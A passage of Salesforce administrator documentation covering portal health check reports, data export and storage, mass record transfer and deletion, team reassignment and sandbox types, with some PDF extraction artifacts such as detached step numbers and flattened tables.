For each profile, the report lists the number of portal users assigned to it, and the following permission settings: Delegated Portal User Administrator Send Email Convert Leads

761

Security and Sharing

Portal Health Check Overview

Edit Events Edit Opportunity Product Sales Price Edit Tasks Transfer Cases Portal Super User API Enabled Password Never Expires Create Workspaces View Content in Portals Export Reports Run Reports Note: Depending on your organization's settings, some permissions may not appear in the report.

From the report, you can drill down to portal profile detail pages, where you can edit or clone a profile, or view the users assigned to a profile. To view this report: 1. Click Your Name > Setup > Security Controls > Portal Health Check. 2. Click Administrative and User Permissions. From the report page, you can do any of the following: To view a profile detail page, click the profile name. To show a filtered list of items, select a predefined view from the drop-down list. To return to the list of reports, click Back to list: Portal Health Check Reports.

Viewing the Object Access and Field-Level Security Report


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view portal health check reports: Customize Application AND Manage Users AND Modify All Data

Object permissions specify the access that users have to standard and custom objects. The following object permissions respect the sharing model:

762

Security and Sharing

Portal Health Check Overview

ReadUsers can only view records of this type. CreateUsers can read and create records. EditUsers can read and update records. DeleteUsers can read, edit, and delete records.

Field-level security specifies the access that users have to specific fields in object records. The Object Access and Field-Level Security reportone of the portal health check reportsshows the number of portal profiles that can access each standard and custom object in your organization. You can view each object's field-level security settings and permissions. The object-specific reports list portal profiles, showing the number of users assigned to each profile, the number of visible fields in an object, and the object permissions. You can drill down to portal profile detail pages, where you can edit or clone a profile, or view the users assigned to a profile. You can also drill down to field-level security detail pages, where you can edit the settings. Note: This report doesn't show permissions granted through permission sets.

To view this report: 1. Click Your Name > Setup > Security Controls > Portal Health Check. 2. Click Object Access and Field-Level Security. 3. From the report page, click an object name to view its field-level security settings and permissions by profile. On the object detail page, you can do any of the following: To view a profile detail page, click the profile name. To view a profile's field-level security detail page, click visible fields. To return to the high-level object access and field-level security report, click Object Access and Field-Level Security.

From both report pages, you can do any of the following: To show a filtered list of items, select a predefined view from the drop-down list. To return to the list of reports, click Back to list: Portal Health Check Reports.

763

Security and Sharing

Portal Health Check Overview

Viewing the Sharing Organization-Wide Defaults Report


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view portal health check reports: Customize Application AND Manage Users AND Modify All Data To set default sharing access: Manage Users AND Customize Application

Organization-wide default settings specify each object's default access level for users in your organization. If an object's default access level is Public, users with enabled object permissions (Read, Create, Edit, or Delete) may be able to access records that they don't own. For example, if the default access setting for the account object is Public Read/Write, then any user with the Read permission on the account object can view any account record. When setting organization-wide defaults, you want to make sure you don't let portal users see objects they shouldn't access. The Sharing Organization-Wide Defaults reportone of the portal health check reportslists standard and custom objects and the default access setting for each object. You can use this report to review and edit the organization-wide default settings that may expose records to portal users. To view this report: 1. Click Your Name > Setup > Security Controls > Portal Health Check. 2. Click Sharing Organization-Wide Defaults. The report lists the default access setting for each object. If an object's default access is Public, Show Details (for calendar), or Use (for price book), any portal users with enabled object permissions can access other users' records, and the Security column indicates a weak organization-wide default setting. You can view the specific object permissions granted to portal profiles in the Object Access and Field-Level Security report. If the object's default access is Private, Hide Details (for calendar), or No Access (for price book), the Security column indicates a strong organization-wide default setting. Note: Even with a strong organization-wide default setting, portal users may have access to other users' records through exceptions such as sharing rules. If the Grant Access Using Hierarchies box is checked, any user above a record owner in a territory or role hierarchy can access the owner's records for that object. From the report page, you can do any of the following:

764

Security and Sharing

Portal Health Check Overview

To change the organization-wide sharing settings for any object, click Edit, then change the settings on the Organization-Wide Sharing Defaults Edit page. To show a filtered list of items, select a predefined view from the drop-down list. To return to the list of reports, click Back to list: Portal Health Check Reports.

Viewing the Sharing Rules Report


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view portal health check reports: Customize Application AND Manage Users AND Modify All Data To create and edit sharing rules: Manage Users

Administrators can use sharing rules to give users access to records they don't own. In a sharing rule, records owned by a set of users (such as a group, role, or territory) are shared with another set of users. When creating sharing rules, you want to make sure you don't let portal users see records they shouldn't access. The Sharing Rules reportone of the portal health check reportslists all sharing rules that give portal users access to records they don't own. It shows the number of portal users who may get access to records as a result of each sharing rule, and lets you edit access levels for each rule. For some types of user sets (like groups, roles, and territories), you can drill down to detail pages, where you can edit, delete, or manage the users in the set. To view this report: 1. Click Your Name > Setup > Security Controls > Portal Health Check. 2. Click Sharing Rules. The Number of Portal Users Affected column shows the number of portal users who may get access as a result of the sharing rule. This number includes portal users specified in the rule and, if Grant Access Using Hierarchies is enabled for the object, any portal users above them in the role or territory hierarchy. If any users in this set have enabled object permissions (Read, Create, Edit, or Delete), they can access records exposed by the rule. Note: This report doesn't include criteria-based sharing rules. This report doesn't check portal users' object permissions. You can view the specific object permissions granted to portal profiles in the Object Access and Field-Level Security report.

765

Security and Sharing

Setting Up the Data Residency Option (DRO)

From the report page, you can do any of the following: To change the access level in a sharing rule, click Edit, then change the settings on the sharing rule edit page. To view the details of a user set in a sharing rule, click the link in the Owned By or Shared With column. To show a filtered list of items, select a predefined view from the drop-down list. To return to the list of reports, click Back to list: Portal Health Check Reports. Note: Account and account territory sharing rules can grant access to contacts, opportunities, and cases associated with the shared accounts. The Sharing Rules report shows access levels only for top-level objects, not associated objects.

Setting Up the Data Residency Option (DRO)


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To install Data Residency Option software, documentation, Data Residency Option Admin Policy Template, and Fix Releases:

Using the Salesforce Database Residency Option (DRO) requires having DRO made available for your organization and then configuring your organization to download the DRO tools and documentation. Heres how: 1. Contact your Salesforce representative to have DRO made available for your org. Note: Once DRO is enabled, users must log in to the organization through the DRO proxy.

2. Log into your Salesforce organization as an administrator. 3. Do one of the following: Add the Data Residency Option Admin permission to the profile of your choice, or Create a new permission set that contains the Data Residency Option Admin permission.

4. Assign the permission set or profile you modified to the user of your choice. This user gets access to the DRO software downloads, documentation, Policy Templates, and Fix Releases. 5. Have the user with Data Residency Option Admin permission log into the organization, and click Your Name > Setup > Security Controls > Data Residency Option. 6. Download the DRO software, documentation, and patches using the links on the DRO page.

766

Data Management

Exporting Backup Data

DATA MANAGEMENT
Exporting Backup Data
Weekly export available in: Enterprise and Unlimited Editions Monthly export available in: All editions, except for Database.com

User Permissions Needed To export data: Data Export

Your organization can generate backup files of your data on a weekly or monthly basis depending on your edition. You can export all of your organization's data into a set of comma-separated values (CSV) files. Note: Users with the Data Export permission can view all exported data and all custom objects and fields in the Export Service page. This permission is granted by default only to the System Administrator profile because it enables wide visibility. You can generate backup files manually once every six days (for weekly export) or 28 days (for monthly export). You can also schedule backup files to generate automatically at weekly or monthly intervals. 1. Click Your Name > Setup > Data Management > Data Export and Export Now or Schedule Export. The Export Now option prepares your files for export immediately. This option is only available if enough time has passed since your last export. The Schedule Export option allows you to schedule the export process for weekly or monthly intervals.

2. Select the desired encoding for your export file. 3. Select Include images, documents, and attachments and Include Chatter files and Salesforce CRM Content document versions to include these items in your export data. 4. Select Replace carriage returns with spaces to have spaces instead of carriage returns or line breaks in your export files. This is useful if you plan to use your export files for importing or other integrations. 5. If you're scheduling your export, select the frequency (only available for organizations with monthly exports), start and end dates, and time of day for your scheduled export. 6. Under Exported Data, select the types of data to include in your export. We recommend that you select Include all data if you are not familiar with the terminology used for some of the types of data. Note the following: Formula and roll-up summary fields are always excluded from exports. If your organization uses divisions, data from all divisions is included in the export. If your organization uses person accounts and you are exporting accounts, all account fields are included in the account data. For more information on account fields, see Account Fields on page 91. If your organization uses person accounts and you are exporting contacts, person account records are included in the contact data. However, the contact data only includes the fields shared by contacts and person accounts.

767

Data Management

Exporting Backup Data

For information on field limitations, see the Salesforce Field Reference Guide.

7. Click Start Export or Save. Salesforce creates a zip archive of CSV files and emails you when it's ready. Exports typically finish within 48 hours of submission, and large exports are broken up into multiple files. Follow the link in the email or click Data Export to download the zip file. Zip files are deleted 48 hours after the email is sent. The 48-hour time limit doesn't include weekends, which means if your download file is ready on Thursday at 4 p.m., that file isn't deleted until Monday at 4 p.m. Note: For security purposes, Salesforce may require users to pass a CAPTCHA user verification test to export data from their organization. This simple text-entry test prevents malicious programs from accessing your organization's data. To pass the test, users must correctly type the two words displayed on the overlay into the overlay's text box field. Note that the words entered into the text box field must be separated by a space. Tip: Any automated processes that process the export files should rely on the column headings in the CSV files, rather than the position of the columns. Depending on the encoding selected, you may have to make adjustments to the export file before viewing it. Use the following instructions that apply to the character encoding you selected.

Viewing Unicode (UTF-8) Encoded Export Files


If you have Microsoft Excel 2003: 1. 2. 3. 4. 5. 6. 7. Open Microsoft Excel. Click File > New. Click Data > Import External Data > Import Data. Select the CSV file to open and Microsoft Excel will launch the text import wizard. Select Delimited and choose the Unicode (UTF-8) option for File origin. Click Next. Select Comma in the Delimiters section and click Finish. You may be prompted to select a range of cells. Note: If commas are not appropriate for your locale, use a tab or other delimiter.

8. Repeat these steps for each file. If you have an earlier version of Microsoft Excel (pre 2003): 1. 2. 3. 4. 5. 6. 7. 8. Open the file in Microsoft Excel. Select File > Save As. Save the file as type Web Page. Select Tools > Options > General tab and click the Web Options button. Select the Encoding tab, and then choose the Unicode (UTF-8) option. Click OK to close the dialog boxes. Select File > Save to save the file with selected encoding. Repeat these steps for each file.

Viewing Unicode (UTF-16, Big Endian) Encoded Export Files


Open the export files in a text editor that supports this character set. Microsoft Excel does not support this character set.

768

Data Management

Monitoring Resources

Viewing Unicode (Little Endian) Encoded Export Files


1. 2. 3. 4. 5. Open the file in Microsoft Excel. Click on column A to highlight the entire first column. Open the Data menu and choose Text to Columns. Select the Delimited radio button and click Next. Select Comma in the Delimiters section and click Finish. Note: If commas are not appropriate for your locale, use a tab or other delimiter.

6. Repeat these steps for each file.

See Also:
How do I update records using the Import Wizard?

Monitoring Resources
Available in: All Editions

User Permissions Needed To view storage usage: Manage Users

Storage is divided into two categories: data storage and file storage. File storage includes files in attachments, the Documents tab, the Files tab, the File field, Salesforce CRM Content, Chatter (including user photos), and Site.com assets. Data storage includes the following: Accounts Article types (format: [Article Type Name]) Article type translations (format: [Article Type Name] Version) Campaigns Campaign Members Cases Case Teams Contacts Contracts Custom objects Email messages Events Forecast items Google docs Ideas

769

Data Management

Monitoring Resources

Leads Notes Opportunities Quotes Quote Template Rich Text Data Solutions Tags: Tag applications Tags: Unique tags Tasks

Data storage and file storage are calculated asynchronously, so if you import or add a large number of records or files, your organizations storage usage will not be updated immediately.

Storage Capacity
Each edition includes a minimum amount of data storage and file storage. Professional, Enterprise, and Unlimited Editions receive a per-user storage amount multiplied by the number of users in the organization if the result is greater than the minimum storage amount. Using data storage as an example, an Enterprise Edition organization with 600 users would receive 12,000 MB (12 GB) of data storage, because 20 MB per user multiplied by 600 users is 12,000 MB. A smaller organization, for example a Professional Edition organization with 20 users, would receive 1 GB of data storage because 20 MB per user multiplied by 20 users is only 400 MB, which is less than the 1 GB minimum allotted to all Professional Edition organizations. The values in the Storage Allocation Per User License column below apply to Salesforce and Salesforce Platform user licenses. Note: The only feature license that provides additional storage is Salesforce CRM Content User. Each Salesforce CRM Content User license provides an additional 512 MB of file storage, whether Salesforce CRM Content is enabled or not, bringing the total file storage allocation per user to 612 MB. To find out whether your organization has Salesforce CRM Content enabled, contact your administrator. Salesforce Edition Personal Contact Manager Group Professional Enterprise Unlimited Developer Data Storage Minimum per File Storage Minimum per Organization Organization 20 MB (approximately 10,000 20 MB records) 1 GB 1 GB 1 GB 1 GB, plus 5 MB for each Gold Partner license 1 GB, plus 5 MB for each Gold Partner license 5 MB 11 GB 11 GB 11 GB 11 GB 11 GB 20 MB Storage Allocation Per User License N/A 20 MB of data storage and 612 MB of file storage 20 MB of data storage and 612 MB of file storage 20 MB of data storage and 612 MB of file storage 20 MB of data storage and 612 MB of file storage 120 MB of data storage and 612 MB of file storage N/A

If your organization uses custom user licenses, contact salesforce.com to determine if these licenses provide additional storage. For a description of user licenses, see Understanding User License Types on page 610.

770

Data Management

Monitoring Resources

Viewing Storage Usage


To view your organizations current storage usage click Your Name > Setup > Data Management > Storage Usage. You can view the available space for data storage and file storage, the amount of storage in use per record type, the top users according to storage utilization, and the largest files in order of size. To view what types of data a particular user is storing, click that users name. In all Editions except Personal Edition, administrators can view storage usage on a user-by-user basis: 1. Click Your Name > Setup > Manage Users > Users. 2. Click the name of any user. 3. Click View next to the Used Data Space or Used File Space fields to view that users storage usage by record type. Individual users can view their own storage usage in their personal information (see Editing Your Personal Information on page 30).

Increasing Storage
When your organization has reached its storage limit, you will not be able to create any new data or upload new files. To reduce your storage usage, try to delete any outdated leads or contacts and remove any unnecessary attachments. In Salesforce CRM Content, delete files to reduce your storage limit. To increase your storage limit, you can purchase additional storage space, or in Professional, Enterprise, and Unlimited Editions, you can also add user licenses. See Adding or Subtracting User Licenses on page 3723.

Storage Considerations
Take the following into consideration when planning your storage needs: Person accounts count against both account and contact storage because the API considers each person account to consist of one account as well as one contact. Archived activities count against storage. Nothing that is deleted counts against storage. Active or archived products, price books, price book entries, and assets do not count against storage.

See Also:
Salesforce Editions and Limits Force.com API Usage Limits

771

Transferring Records

Transferring Records Overview

TRANSFERRING RECORDS
Transferring Records Overview
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Accounts, Campaigns, Contacts, Contracts, Leads, and Cases are not available in Database.com.

User Permissions Needed To transfer multiple accounts, campaigns, contacts, contracts, Transfer Record and custom objects: AND Edit on the object type To transfer multiple leads: Transfer Leads OR Transfer Record AND Edit on leads To transfer multiple cases: Transfer Cases OR Transfer Record AND Edit on cases

A record owner, or any user above the owner in the role or territory hierarchy, can transfer a single record to another user. With some objects, like cases, leads, and campaigns, a user may be granted access to transfer records through sharing. Depending on the type of object, there may be multiple ways to transfer records to another user: Method Transfer a single record Available for Accounts, campaigns, cases, contacts, contracts, leads, and custom objects

Transfer multiple records by selecting the records from a list Cases, leads, and custom objects, which can belong to either view and clicking Change Owner a user or a queue Transfer multiple records using the Mass Transfer tool Accounts, leads, and custom objects

Ability to Change Ownership Users with the Modify All Data permission, or users with the Modify All permission for the given object, can transfer any record, regardless of who owns the record. To transfer a single record or multiple records from a list view, the new owner must have at least the Read permission on the object type. This rule does not apply if you use the mass transfer tool.

772

Data Management

Transferring Records Overview

To transfer ownership of any single record in an organization that does not use territory management, a user must have the appropriate Edit permission and either own the record or be above the owner in the role hierarchy. For example, to transfer ownership of an account, a user must have the Edit permission on accounts and read sharing access to the account. Additionally, the new owner of the record must have at least Read permission on accounts. The Public Full Access and Public Read/Write/Transfer sharing settings give all users the ability to transfer ownership of that type of record as long as they have the appropriate Edit permission.

In organizations that use territory management, users that have been assigned to territories can be enabled to transfer the accounts in their territories, even if they are not the record owner. To transfer campaigns, users must also have the Marketing User checkbox selected on their user record. Partner accounts can only be transferred to users with the Manage Partners permission. You cannot assign an account with Customer Portal users to an owner who is a partner user.

See Also:
Mass Transferring Records Changing Ownership Changing Multiple Cases Changing Multiple Leads

773

Data Management

Mass Transferring Records

Mass Transferring Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer Database.com Editions Accounts, Service Contracts, and Leads are not available in Database.com.

User Permissions Needed To mass transfer accounts and service contracts: Transfer Record AND Edit on the object type AND Transfer Leads To mass transfer custom objects: Transfer Record AND Edit on the object type To mass transfer leads: Transfer Leads OR Transfer Record AND Edit on leads

Use the Mass Transfer tool to transfer multiple accounts, leads, service contracts, and custom objects from one user to another. Note: To transfer any records that you do not own, you must have the required user permissions as well as read sharing access on the records. 1. Choose Your Name > Setup > Data Management > Mass Transfer Records. 2. Click the link for the type of record to transfer. 3. Optionally, fill in the name of the existing record owner in the Transfer from field. For leads, you can transfer from users or queues. 4. In the Transfer to field, fill in the name of new record owner. For leads, you can transfer to users or queues. 5. If your organization uses divisions, select the Change division.... checkbox to set the division of all transferred records to the new owners default division. 6. When transferring accounts, you can: Select Transfer open opportunities not owned by the existing account owner if you want to transfer open opportunities owned by other users that are associated with the account. Select Transfer closed opportunities if you want to transfer closed opportunities associated with the account. This option applies only to closed opportunities owned by the account owner; closed opportunities owned by other users are not changed.

774

Data Management

Mass Transferring Records

Select Transfer open cases owned by the existing account owner if you want to transfer open cases that are owned by the existing account owner and associated with the account. Select Transfer closed cases if you want to transfer closed cases that are owned by the existing account owner and associated with the account. Select Keep Account Team if you want to maintain the existing account team associated with the account. Deselect this checkbox if you want to remove the existing account team associated with the account. Select Keep Opportunity Team on all opportunities... if you want to maintain the existing opportunity team on any opportunities associated with this account. Note: If you transfer closed opportunities, the opportunity team is maintained, regardless of this setting.

7. Enter search criteria that the records you are transferring must match. For example, you could search accounts in California by specifying Billing State/Province equals CA. 8. Click Find. 9. Select the checkbox next to the records you want to transfer. Optionally, check the box in the column header to select all currently displayed items. Note: If duplicate records are found, you must select only one of the records to transfer. Transferring duplicate records results in an error. Duplicate records may display if you filter leads based on Campaign Member Status and a matching lead has the same campaign member status on multiple campaigns. For example, if you specify Campaign Member Status equals Sent, and a matching lead named John Smith has the status Sent on two campaigns, his record will display twice. 10. Click Transfer. Transfer of Associated Items When you change record ownership, some associated items that are owned by the current record owner are also transferred to the new owner. Record Accounts Associated items that are also transferred Contacts (on business accounts only), attachments, notes, open activities, open opportunities owned by the current account owner, and optionally, closed opportunities and open opportunities owned by other users. Open activities. When transferring leads to a queue, open activities are not transferred.

Leads

Access to Transferred Items When transferring accounts and their related data in Professional, Enterprise, Unlimited, and Developer Editions, all previous access granted by manual sharing, Apex managed sharing, or sharing rules is removed. New sharing rules are then applied to

775

Data Management

Managing Multiple Approval Requests

the data based on the new owner. The new owner may need to manually share the transferred accounts and opportunities as necessary to grant access to certain users.

See Also:
Changing Ownership Changing Multiple Cases Assigning Leads

Managing Multiple Approval Requests


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage multiple approval requests: Transfer Leads AND Transfer Record

To transfer multiple approval requests from one user to another or to remove multiple approval requests from the approval process: 1. Before transferring an approval request, make sure the new assigned approver has access to read the records for the approval requests. For example, a user that does not have read access to an Expenses custom object will not be able to view expense approval requests. 2. Choose Your Name > Setup > Data Management > Mass Transfer Approval Requests. 3. Enter the search conditions that the approval requests you are transferring must match. For example, you could search for approval requests that were submitted by a particular user by specifying Submitter equals jsmith. For more information, see Entering Filter Criteria on page 3136. 4. Click Find to search for approval requests that match. 5. Choose an option:
Mass remove records from an approval process unlocks the records and removes them from any approval

process so they no longer appear on the approver's list of pending approval requests. Mass transfer outstanding approval requests to a new user allows you to select a user and assign that user as the approver for all approval requests selected.

6. Optionally, enter any comments to be stored with the approval requests. The comments you enter are displayed on the Approval History related list if your administrator has customized it to include the Comments field. 7. Select the checkbox next to each approval request you want to transfer or remove from the approval process, depending on the option you selected previously.

776

Data Management

Deleting Mass Data

8. Click Transfer or Remove, depending on the option you selected previously.

See Also:
Approval Processes Overview Approval Process Terminology

Deleting Mass Data


Available in: All Editions This feature is only available in Database.com via the API. You can only mass delete records of custom objects in Database.com.

User Permissions Needed To mass delete data: Modify All Data

You can delete multiple cases, solutions, accounts, contacts, leads, products, or activities at one time. Before you use mass delete, we strongly suggest you run a report to archive your information. We also strongly advise you to run a weekly export of your data; see Exporting Backup Data on page 767. To delete multiple records: 1. 2. 3. 4. Click Your Name > Setup > Data Management > Mass Delete Records. Click the link for the type of record to delete. Review the information that will be deleted along with the records. Specify conditions that the selected items must match, for example, State equals California. For more information, see Entering Filter Criteria on page 3136. 5. When deleting accounts, check the appropriate boxes if you want to delete accounts with attached closed/won opportunities or attached opportunities owned by other users. 6. When deleting products, check Archive Products... if you want to include products that are on opportunities. Archived products are not moved to the Recycle Bin. Check this option to: Delete products that are not on opportunities and move them to the Recycle Bin. Archive products that are on opportunities. These products are not moved to the Recycle Bin and cannot be recovered.

Leave this box unchecked to delete only those products that are not on opportunities. Selected products that are on opportunities will remain checked after the deletion to indicate they were not included in the deletion. 7. Choose Search to find records that match. 8. Select the box next to the items you want to delete. Optionally, check the box in the column header to select all currently displayed items. 9. To permanently delete records, select Permanently delete the selected records. Please note that selecting this option prevents you from recovering the selected records from the Recycle Bin. 10. Click Delete. If you did not select Permanently delete the selected records, deleted items are moved to the Recycle Bin.

777

Data Management

Deleting Mass Data

Notes on Using Mass Delete


Consider the following when using mass delete: You can only delete up to 250 items at one time. When you delete a record, any associated records that display on that record's related lists are also deleted. Accounts and contacts associated with cases cannot be deleted. Partner accounts with partner users cannot be deleted. Contacts enabled for Self-Service, and their associated accounts, cannot be deleted. When deleting products, all related price book entries are deleted with it. Products on opportunities cannot be deleted, but they can be archived. When you delete activities: Any archived activities that meet the conditions are also deleted. Requested meetings aren't included in the mass-delete until they're confirmed and automatically converted to events. The child events of a recurring event are not displayed in the list of possible items to delete, but they are deleted along with their associated event series. Deleting a master solution does not delete the translated solutions associated with it. Instead, each translated solution becomes a master solution. Deleting a translated solution removes the association with its master solution.

Sample Uses for Mass Delete


The following examples illustrate some common uses of mass delete. You imported your organization's leads incorrectly and you want to delete those imported leads. View the Using Mass Delete to Undo Imports document for complete instructions. A user named John Smith recently left your organization, and he had several contacts that were duplicates of other users' data. To delete these duplicate contacts, select contacts as the record type to delete and enter Owner Alias equals jsmith. Your organization may have formerly entered all leads as accounts with the Type field set to Prospect. You now want to convert these accounts into leads. To do this, run a report of these accounts, export it to Excel, and then use the Import My Organizations Leads wizard to import the data as leads. Then using mass delete, select accounts as the record type to delete and enter Type equals Prospect to locate all accounts you want to delete. You want to delete all the leads that have been converted for your organization. Select the lead record type, enter Converted equals 1 for the search criteria, then choose Search.

You might also want to use mass delete to clean up any old records you may have, to delete web-generated leads that were created incorrectly, or to delete accounts and contacts with whom you no longer do business.

See Also:
Undoing an Import Recycle Bin

778

Data Management

Reassigning Team Members on Multiple Records

Reassigning Team Members on Multiple Records


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To mass transfer team members: Use Team Reassignment Wizards

If your organization uses account teams or opportunity teams, you can make changes to a team member on multiple records at a time. Using Salesforce, you can add, remove, or replace a team member on any record that contains that team member. Adding a Team Member to Multiple Records Removing a Team Member from Multiple Records Replacing a Team Member on Multiple Records

Adding a Team Member to Multiple Records


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To mass transfer team members: Use Team Reassignment Wizards

1. Choose Your Name > Setup > Data Management > Mass Reassign Account Teams or Your Name > Setup > Data Management > Mass Reassign Opportunity Teams. If you don't see the Data Management link on the Setup page, click Mass Reassign Account Teams from the Tools section at the bottom of the Accounts page, or click Mass Reassign Opportunity Teams from the Tools section at the bottom of the Opportunities page. 2. 3. 4. 5. Select the Add option and click Next. Enter your criteria to find the records you want to change. Click Next. Check the boxes next to the records you want to change. Optionally, check the box in the column header to select all currently displayed items. 6. Click Next. 7. Choose a team member to add to the selected records and select a role for the new team member. For account teams, select the appropriate account, contact, case, and opportunity access. For opportunity teams, select the appropriate opportunity access and complete any custom fields that are displayed. Custom fields appear only if they have been defined and added to the opportunity team page layout.

8. Click Add.

779

Data Management

Reassigning Team Members on Multiple Records

9. Click Done after reviewing the number of records changed. Note: To add a new team member to an opportunity, the team member must have read access to the associated account. Team members who do not have read access to the account will not be added to the opportunity team unless you have the Modify All Data permission or are the account owner or above the account owner in the role hierarchy.

See Also:
Removing a Team Member from Multiple Records Replacing a Team Member on Multiple Records

Removing a Team Member from Multiple Records


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To mass transfer team members: Use Team Reassignment Wizards

1. Choose Your Name > Setup > Data Management > Mass Reassign Account Teams or Your Name > Setup > Data Management > Mass Reassign Opportunity Teams. If you dont see the Data Management link on the Setup page, click Mass Reassign Account Teams from the Tools section at the bottom of the Accounts page, or click Mass Reassign Opportunity Teams from the Tools section at the bottom of the Opportunities page. 2. 3. 4. 5. 6. 7. 8. 9. Select the Remove option and click Next. Enter your criteria to find the records you want to change. Click Next. Check the boxes next to the records you want to remove. Optionally, check the box in the column header to select all currently displayed items. Click Next. Choose the existing team member to remove from the selected records. Select a role. The team member is removed only if he or she plays this role. Or, select Any Role to removed the team member regardless of what role he or she plays. Check the following options when applicable:
Reassign all open activities... if you want open activities for the removed team member assigned to the

account owner.
Reassign all open opportunities... if you want open opportunities for the removed team member to be

assigned to the account owner.


Reassign all open cases... if you want open cases for the removed team member to be assigned to the account

owner.
Reassign all contacts... if you want to assign all contact records owned by the removed team member to the

account owner.

780

Data Management

Reassigning Team Members on Multiple Records

10. Click Remove. 11. Click Done after reviewing the number of records changed.

See Also:
Adding a Team Member to Multiple Records Replacing a Team Member on Multiple Records

Replacing a Team Member on Multiple Records


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To mass transfer team members: Use Team Reassignment Wizards

1. Choose Your Name > Setup > Data Management > Mass Reassign Account Teams or Your Name > Setup > Data Management > Mass Reassign Opportunity Teams. If you dont see the Data Management link on the Setup page, click Mass Reassign Account Teams from the Tools section at the bottom of the Accounts page, or click Mass Reassign Opportunity Teams from the Tools section at the bottom of the Opportunities page. 2. 3. 4. 5. Choose the Replace option and click Next. Enter your criteria to find the records you want to change. Click Next. Check the boxes next to the records you want to select. Optionally, check the box in the column header to select all currently displayed items. 6. Click Next. 7. Select the team member currently on the selected records that you want to change and select the replacement team member. To simply change the role of a team member, select the existing team member as the replacement. 8. Choose a role for the team member. Choose Use Role of Replaced Team Member to keep the current role. For account teams, select the appropriate account, contact, case, and opportunity access. For opportunity teams, select the appropriate opportunity access and complete any custom fields that are displayed. Custom fields appear only if they have been defined and added to the opportunity team page layout.

9. Check the following options when applicable.


Reassign all open activities... if you want to assign all open activity records to the replacement team

member.
Reassign all open opportunities... if you want to assign all open opportunity records to the replacement

team member.
Reassign all open cases... if you want to assign all open cases to the replacement team member. Reassign all contacts... if you want to assign the contacts associated with the updated records to the replacement

team member.

781

Data Management

Transferring Divisions

10. Click Replace. 11. Click Done after reviewing the number of records changed.

See Also:
Adding a Team Member to Multiple Records Removing a Team Member from Multiple Records

Transferring Divisions
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To mass transfer divisions: Modify All Data

To change the division for multiple records at one time: 1. Click Your Name > Setup > Data Management > Mass Division Transfer. 2. Select the type of record for which you want to reassign divisions, and click Next. When you transfer divisions for accounts, all records related to a particular account, such as contacts and opportunities, inherit the division of that account. Likewise, transferring divisions for custom objects includes any custom objects on the detail side of a master-detail relationship with that custom object. 3. Set the search conditions that the records must match, and click Next. 4. Select the new division for the matching records. 5. When transferring users, select the Change the division... checkbox to also change the division of the records owned by the users. 6. Click Transfer. If you are transferring less than 5,000 records, they are transferred immediately. A confirmation message displays when the transfers are complete. If you are transferring 5,000 or more records, the request is placed in a queue for processing. You will receive an email notification when the transfers are complete.

See Also:
About Divisions Changing Your Working Division Changing Your Default Division

782

Data Management

Mass Updating Addresses

Mass Updating Addresses


Available in: All Editions except for Database.com.

User Permissions Needed To mass update addresses: To mass update addresses of contracts: Modify All Data Modify All Data AND Activate Contracts

Use mass updating addresses to standardize on one naming convention for a country and state/province for your organization's existing address fields in accounts, contacts, contracts, and leads. For example, instead of having multiple records with US, USA, or United States in the address fields, you can use mass updating addresses to enter one name, such as US, for all of the records. 1. Choose Your Name > Setup > Data Management > Mass Update Addresses. 2. Select the type of data to update - Countries or State/Province. If you chose State/Province, enter the country in which to update the state or province. Click Next to continue. 3. Select the values to update and click Add. The Selected Values box displays the values that will be updated. To remove values, click Remove. The Available Values box displays the address values found in existing records. To find additional addresses to update together as a group, enter all or part of a value and click Find. If your organization has large amounts of data, instead of using the Available Values box, enter existing values to update in the text area. Each value should be separated by a new line. 4. In the Replace selected values with field, enter the value with which to replace the specified address data, and click Next. If your organization has large amounts of data, this field is called Replace entered values with. The number and type of address records which will be updated in your organization are displayed. If your organization has large amounts of data, only the values that will be updated are displayed. 5. Click Replace to update the values.

Tips on Mass Updating Addresses


As a best practice, update countries first, and then update states or provinces within that newly standardized country value. Use the mass updating address tool to convert inconsistent address formats to one international standard, such as ISO codes. For a list of ISO codes, see the International Organization for Standardization website. Use the mass updating tool regularly to cleanse your address data of inconsistent values created by users or via import, sync, or the Force.com API. Any country or state/province value can be created manually or via import, sync, or the Force.com API. Address values are not validated upon creation.

783

Data Management

Sandbox Overview

Remember to change filter conditions to reflect any address updates. For example, if you change United States to US, then assignment rules, Web-to-Lead, Web-to-Case, Email-to-Case, and On-Demand Email-to-Case will continue to use United States unless updated to US.

Sandbox Overview
Available in: Enterprise, Unlimited, and Database.com Editions

User Permissions Needed To view a sandbox: To create, refresh, activate, and delete sandboxes: View Setup and Configuration Modify All Data

Salesforce gives you the ability to create multiple copies of your organization in separate environments for a variety of purposes, such as testing and training, without compromising the data and applications in your Salesforce production organization. These copies are called sandboxes and are nearly identical to your Salesforce production organization. For a list of differences, see Sandbox Setup Tips and Considerations on page 788. Sandboxes are completely isolated from your Salesforce production organization, so operations you perform in your sandboxes do not affect your Salesforce production organization, and vice versa. The sandbox types are: Configuration Only Sandbox Configuration-only sandboxes copy all of your production organization's reports, dashboards, price books, products, apps, and customizations under Your Name > Setup, but exclude all of your organization's standard and custom object records, documents, and attachments. Creating a configuration-only sandbox can decrease the time it takes to create or refresh a sandbox from several hours to just a few minutes, but it can only include up to 500 MB of data. You can refresh a configuration-only sandbox once per day. Developer Sandbox Developer sandboxes are special configuration-only sandboxes intended for coding and testing by a single developer. Multiple users can log into a single developer sandbox, but their primary purpose is to provide an environment in which changes under active development can be isolated until theyre ready to be shared. Just like configuration-only sandboxes, developer sandboxes copy all application and configuration information to the sandbox. Developer sandboxes are limited to 10 MB of test or sample data, which is enough for many development and testing tasks. You can refresh a developer sandbox once per day. Full Sandbox Full sandboxes copy your entire production organization and all its data, including standard and custom object records, documents, and attachments. You can refresh a full-copy sandbox every 29 days.

Sandbox Limits
The following limits apply to sandboxes: You can refresh a full sandbox 29 days after you created or last refreshed it. If you delete a full sandbox, you must wait 29 days to replace it.

784

Data Management

